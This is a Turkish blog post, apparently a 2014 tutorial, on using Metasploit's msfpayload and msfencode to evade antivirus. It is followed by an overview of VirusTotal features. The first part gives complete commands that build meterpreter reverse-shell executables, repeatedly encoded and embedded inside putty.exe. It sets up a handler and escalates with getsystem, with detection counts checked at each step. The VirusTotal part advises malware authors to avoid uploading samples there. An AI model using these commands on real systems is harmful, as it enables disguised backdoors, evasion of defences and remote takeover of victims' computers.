23 Şubat 2014 Pazar

AV Bypass: MsfPayload & MsfEncode

AV Bypass: MsfPayload & MsfEncode

Antivirüslerin atlatılması için Metasploit tarafından sağlanan msfpayload ve msfencode modülleri kullanılabilir. Kullanılabilecek en temel yöntemler aşağıdaki gibidir. Her adımda oluşturulan uygulamanın tespit edilmesi VirusTotal ile kontrol edilmiştir. VirusTotal kullanımı ile ilgili ayrıntılı bilgi için bakınız.

1) MsfPayload ile Exe oluşturma
MsfPayload kullanılarak oluşturulabilecek payloadlar aşağıdaki gibi listelenir.
# msfpayload -l

Sadece msfpayload kullanılarak zararlı bir yazılım oluşturmak için X parametresi kullanılabilir. Oluşturulan dosyanın Sha256 özeti de saklanabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 X > Uygulama1.exe
# sha256sum Uygulama1.exe

Bu payload ters bir bağlantı oluşturara 192.168.8.145 IP'li bilgisayarın 4567 portuna reverse_tcp bağlantısı oluşturmaktadır. Bu bağlantıyı dinlemek için bir handler açılmalıdır. Handler açılması için gerekli ayarlamaların gerçekleştirilmesi aşağıdaki gibidir:
# msfconsole
# msf > use exploit/multi/handler
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
# msf exploit(handler) > set ExitOnSession false
# msf exploit(handler) > set LHOST 192.168.8.145
# msf exploit(handler) > set LPORT 4567
# msf exploit(handler) > show options

Gerekli ayarlamalar yapıldıktan sonra Handler başlatılır.
# msf exploit(handler) > exploit -j

Bir bilgisayarda bu uygulama (Uygulama1.exe) çalıştırıldığında meterpreter bağlantısı oluşacaktır. Bağlantı oluştuktan sonra ilgili oturuma gidilerek meterpreter bağlantısına düşülür ve istenilen komutlar çalıştırılır.
# sessions
# sessions -i 1
# meterpreter > getuid
# meterpreter > getsystem
# meterpreter > getuid

Ancak bu uygulama bir çok antivirüs tarafından yakalanmaktadır. Oluşturulan  uygulamanın VirusTatal analiz sonucunda 50 AV'den 37 tanesi tarafından tespit edilmiştir.


2) Raw halindeki Payload'u Yeniden Kodlama
MsfPayload ile Raw halinde oluşturulan bir payload MsfEncode ile yeniden kodlanabilir. "x86/shikata_ga_nai" adlı kodlayıcı ile 3 kere kodlanan Raw halinde bir payload oluşturulması aşağıdaki gibidir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -o Uygulama2.exe

Not: Kodlayıcıların kullanılması uygulama boyutunu arttırmaktadır.
MsfEncode tarafından kullanılabilecek kodlayıcıların listesi aşağıdaki gibidir:
# msfencode -l

Not: Rank olarak yüksek olan kodlayıcıların kullanılması antivirüslerden saklanılması için bir yöntemdir.
Oluşturulan 2. uygulamanın VirusTotal analizi sonucunda 35 AV tarafından tespit edildiği görülmektedir.


3) Standart Uygulamaya Zararlı Kod Gömme
Hazırlanan uygulama kodunun anti virüsler tarafından tespit edilmesini engellemek için varsayılan şablonlar yerine farklı şablonlar tercih edilmelidir. msfencode ile alternatif şablon kullanmak için '-x' parametresi kullanılmaktadır. Bunun için normalde zararlı olmayan bir uygulamaya zararlı kod gömülebilir. Bu işlem aşağıdaki gibidir:
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -t exe -c 3 -x /root/putty.exe -o Uygulama3.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 33 AV tarafından tespit edildiği görülmektedir.


4) Çoklu Kodlama Yönteminin Kullanılması
MsfPayload ile oluşturulan payload  kodlanırken birden fazla kodlayıcı ardışık olarak da kullanılabilir.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.8.145 LPORT=4567 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/call4_dword_xor -t raw -c 2| msfencode -e x86/countdown -x /root/putty.exe -t exe -o Uygulama4.exe

Oluşturulan 3. uygulamanın VirusTotal analizi sonucunda 34 AV tarafından tespit edildiği görülmektedir.

Kullanılabilecek bir diğer uygulama aşağıdaki gibi oluşturulabilir:
msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 EXITFUNC=thread R |  msfencode -e x86/shikata_ga_nai -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t raw | msfencode -e x86/jmp_call_additive -c 2 -t raw | msfencode -e x86/call4_dword_xor  -c 2 -t exe -o Uygulama5.exe

Sonuç

Msfpayload ve Msfencode modüllerinin tek başlarına kullanımı AV'lerden saklanmak için yeterli olmayabilmektedir. Üstelik kodlama işlemi de bazı durumlarda AV'lerin yakalanmasına sebep olabilmektedir. Bu sebeplerden dolayı başka çözümler üzerine yoğunlaşılması gerekmektedir.

İpucu: VirusTotal ve Temel Özellikleri


VirusTotal ve Temel Özellikleri

Bu yazıda VirusTotal'in en önemli özelliklerinden bahsedilecektir.

Virustotal Nedir?
VirusTotal temel olarak yüklenen bir dosyanın zararlı olup olmadığını Anti-Viruslerle taratarak veya kendi üzerindeki veritabanında bulunan imzalarla karşılaştırarak gerçekleştirir. Şu anda 50 kadar AV firmasının imzalarını kullanmaktadır.

VirusTotal kullanımında dikkat edilmesi gerekilen 2 temel unsur vardır:
  • VirusTotal elde ettiği bilgileri, kullanıcı izni olmadan, AV firmaları ile paylaşmaktadır. Bu sebeple, özellikle zararlı yazılım geliştiricilerin bu durumu göz önünde bulundurmaları gerekir. Aksi halde tespit edilmediği düşünülen bir zararlı yazılım bir kaç gün içerisinde AV tarayıcıları tarafından tespit edilir. VirusTotal ile benzer işlevleri olan ve taranan dosyaları herhangi bir kurumla paylaşılmadığını belirten en önemli siteler aşağıdaki gibidir:
  • VirusTotal'e gönderilen dosyalar (Word, PDF,... vs) kullanıcı izni olmadan saklanabilir, satılabilir veya başka amaçlarla kullanılabilir. Bu sebeple dosya analizinde yüklenen dosyaların kritik bilgi içermemesine dikkat edilmelidir.

VirusTotal tarafından sağlanan temel hizmetler aşağıdaki gibi sıralanabilir.

1) Dosya Yükleme ve Analizi
Virus Total'e bir dosya yüklenerek analiz edilebilir. Yüklenen dosya farklı AV programları yüklenen farklı bilgisayarlara gönderilerek taranır ve sonucu kullanıcıya listelenir. Daha sonra da dosyaya ait özet (hash) değeri VirusTotal veritabanında saklanır. Böylece daha önceden taranan bir dosya taranmadan analiz sonucu listelenebilir.

Bu başlıkta (ve neredeyse her başlıkta) Uygulama.exe adlı bir dosya kullanılacaktır. Bu dosyanın sha256 özeti ve dosya özellikleri şu şekildedir:

Bu dosya Virus Total anasayfasındaki dosya sekmesinde (File) yüklenir.

Not: Yüklenebilecek dosya boyutu 64 MB'dan büyük olursa aşağıdaki gibi hata mesajı alınabilir.

Analiz sekmesinde (Analysis), tarama işlemi sonucunda 50 AV firmasından 38 tanesinde yüklenen dosyanın zararlı olduğu tespit edilmiştir. Ayrıca sha256 özeti de görülmektedir.

Dosya detayları (File detail) sekmesinde dosya ile ilgili PE ve dosya imzası gibi temel bilgiler listelenir. Bu bilgiler zararlı yazılım analizinde (malware analysis) kullanılabilmektedir.

Ayrıca ExifTool ile meta bilgisi de listelenir.

Not: Çevrimiçi ExifTool kullanımı için bağlantıdaki (http://regex.info/exif.cgi) sayfa kullanılabilir.

Ayrıca dosya bilgilerinde bu aracın analizi ile elde edilen ayrıntılı PE analiz sonucu görülmektedir.

Ek dosya bilgileri sekmesinde (Additional information) ise dosyanın özet bilgileri (MD5, SHA1, SHA256) ve diğer bilgiler listelenmektedir.

Yorumlar sekmesinde (Comments) analiz edilen veri (yüklenen dosya, URL, ...) hakkındaki yorumlar listelenir. (Ekran görüntüsünde farklı bir dosya için yorumlar sekmesi gösterilmiştir)

Oylar sekmesinde (Votes) ise analiz edilen veri hakkında gerçekleştirilen oylamalar listelenmektedir. (Ekran görüntüsünde farklı bir dosya için oylar sekmesi gösterilmiştir)

Not: Bir dosyanın (veya verinin) daha önceden tarandığı durumda aşağıdaki gibi bir ekran görüntüsü ile karşılaşılır. Yeniden tarama yapılması veya en son tarama sonucunun listelenmesi tercih edilebilir.

2) Etki Alanı ve Analizi
URL sekmesinde URL sorgu analizi gerçekleştirilebilir.

Analiz sekmesinde (Analysis) URL analiz sonucu elde edilir.

Ek bilgil sekmesinde (Additional Information) web sitesinin çeşitli servislerin (Sophos, Websense, BitDefender, Quatterra, ... gibi) bu URL ile ilgili analiz sonuçları elde edilir.

Diğer sekmeler dosya analizi ile benzerdir.

3) Veri Özeti ve Analizi
Search sekemesinde URL, etki alanı, IP ve en önemlisi de özet analizi gerçekleştirilebilir.
Etki alanı (domain) için tarama gerçekleştirilebilir.

Etki alanı (domain) tarama sonucu aşağıdaki gibidir.

Daha önce taraması gerçekleştirilen "Uygulama.exe" dosyasının tarama işlemi aşağıdaki gibidir.

Özet taramasına ait analiz sonucun, dosya taramasına ait sonucu ile aynıdır.

Özet analizinde dosya analizine göre ek bir sekme daha bulunmaktadır: Davranışsal analiz bilgisi (Behavioural information). Dosya detaylarındaki PE bilgileri (PE import) içermektedir.

Not: Özet ile arama sekmesinde, daha önceden Virus Total tarafından analiz edilmiş veya AV firmalarında özet değeri olan verilerin sonuçları karşılaştırılmaktadır. Veri özetinin sonucu veritabanlarında bulunmadığı durumda aşağıdaki gibi bir ekran görüntüsü elde edilir. Ancak özeti alınan dosyanın kendisi tarandığında ise bir çok AV tarafından tespit edilebilir. Bu sebeple özetin tespit edilmemesi AV'ler tarafından tespit edilemeyeceğini göstermez.


4) VirusTotal Uploader Masaüstü Uygulaması
VirusTotal tarama işlemleri için VirusTotal Uploader adlı masaüstü uygulaması kullanılabilir. Uygulamayı indirme bağlantısı aşağıdaki gibidir:
https://www.virustotal.com/tr/documentation/desktop-applications/
Bu masaüstü uygulaması yüklendikten sonra çalışan prosesler listelenebilir ve istenilen proses VirusTotal sitesinde otomatik olarak aranabilir.

Yükleme ve tarama sonucu aşağıdaki gibidir:

Masaüstü aracı ile web sitesi üzerindeki gibi URL analizi de gerçekleştirilebilir.

Masaüstü aracı ile çalışan bir uygulama yerine mevcut bir dosya da analiz edilebilir. Bunun için dosya sağ tıklanarak VirusTotal'e gönderilebilir.

Açılan pencereden analiz sonucu incelenebilir.


5) Firefox için VTzilla Eklentisi
VTzilla eklentisi (https://addons.mozilla.org/en-US/firefox/addon/vtzilla/) ile Firefox kullanarak internetten bir dosya indirmeden önce VirusTotal tarafından taranması sağlanabilir.
Eklenti yüklendikten sonra bir dosya indirildiğinde VirusTotal ile taranması seçilebilir.

Böylece, VirusTotal web sitesine otomatik olarak bağlanılmakta ve analiz sonucu listelenmektedir. Bu analiz sonucu VirusTotal sayfasındaki URL sekmesinde analiz ile aynı sonucu vermektedir.

Ayrıca aynı sayfadaki Taranacak Dosya bağlantısı kullanılarak da ilgili dosyanın analizi gerçekleştirilir.

Firefox'un bu eklentisi ile bir araç çubuğu da yüklenir. Bu araç çubuğu ile dosya, özet değeri, web sayfası analizi de gerçekleştirilebilir.

Ayrıntılı bilgi için bakınız: https://www.virustotal.com/en/documentation/browser-extensions/

6) Mobil Uygulama
VirusTotal'in Android üzerinde çalışan bir mobil uygulaması da mevcuttur.

Ayrıntılı bilgi için bakınız: https://www.virustotal.com/en/documentation/mobile-applications/

7) Mail Hizmeti
VirusTotal'in hizmetlerinden birisi de "SCAN" konu başlığı (Subject) ile scan@virustotal.com mail hesabına gönderilen verinin tarama sonucunun cevap olarak döndürülmesidir.
Not: Gönderilebilecek dosya boyutu 32 MB ile sınırlandırılmıştır.

Analiz sonucu gelen mail aşağıdaki gibidir:

Mail adresine "SCAN+XML" konu başlığı ile gönderilen bir analiz sonucu ise aşağıdaki gibidir:

Ayrıntılı bilgi için bakınız: https://www.virustotal.com/en/documentation/email-submissions/

8) API Genel Anahtarı ile Betiklerde Kullanım Desteği
VirusTotal'i betiklerde kullanmak için API genel (public) anahtarı kullanılabilir. Böylece web browser'ı olmadan betiklerle sorgulama işlemi gerçekleştirilebilir.
API genel anahtarını elde etmek için öncelikle VirusTotal topluluğuna üye olunur.

Oturum açıldıktan sonra da profil seçeneklerinden API genel anahtarı elde edilebilir. Bu anahtarın dakikada 4 adet sorgu sınırı olduğu görülmektedir.

Not: Gizli (private) anahtar alınarak ek hizmetlerden de faydalanılabilmektedir.
Elde edilen API genel anahtarı ile nmap aracının http-virustotal betiği kullanılabilir. Nmap betiği aşağıdaki gibidir:
nmap --script http-virustotal --script-args='apikey="<APIGenelAnahtari>",checksum="<DosyaOzetDegeri>"'
Örnek bir özet değeri için elde edilen sorgu şu şekildedir:

Ayrıntılı bilgi için bakınız: https://www.virustotal.com/en/documentation/public-api/

9) Process Explorer Desteği
Process Explorer (http://technet.microsoft.com/en-us/sysinternals/bb896653.aspx) prosesleri incelemek başta olmak üzere bir takım işlemler için kullanılan Microsoft aracıdır. Bu araç ile mevcut bir program VirusTotal veritabanında sorgulanabilir. Uygulama.exe adlı uygulama çalıştırılarak sorgulama işlemi aşağıdaki gibi gerçekleştirilebilir.

Böylece ayrıntılı analiz sonucu elde edilir.


10) Diğer Özellikler
Bunların yanında, VirusTotal'in diğer özelliklerinden en önemlileri şu şekildedir:
  • VirusTotal topluluğu (community) tarafından hazırlanan bir blog mevcuttur.
  • Taranan ve analiz edilen dosyalara istatistikler sunulmaktadır: https://www.virustotal.com/en/statistics/
  • Belli bir VirusTotal üyesi veya belli bir tag için arama yapılabilmektedir. Ayrıntılı bilgi için bakınız.

Kaynak:
http://www.behindthefirewalls.com/2013/10/do-you-know-all-virustotal-features.html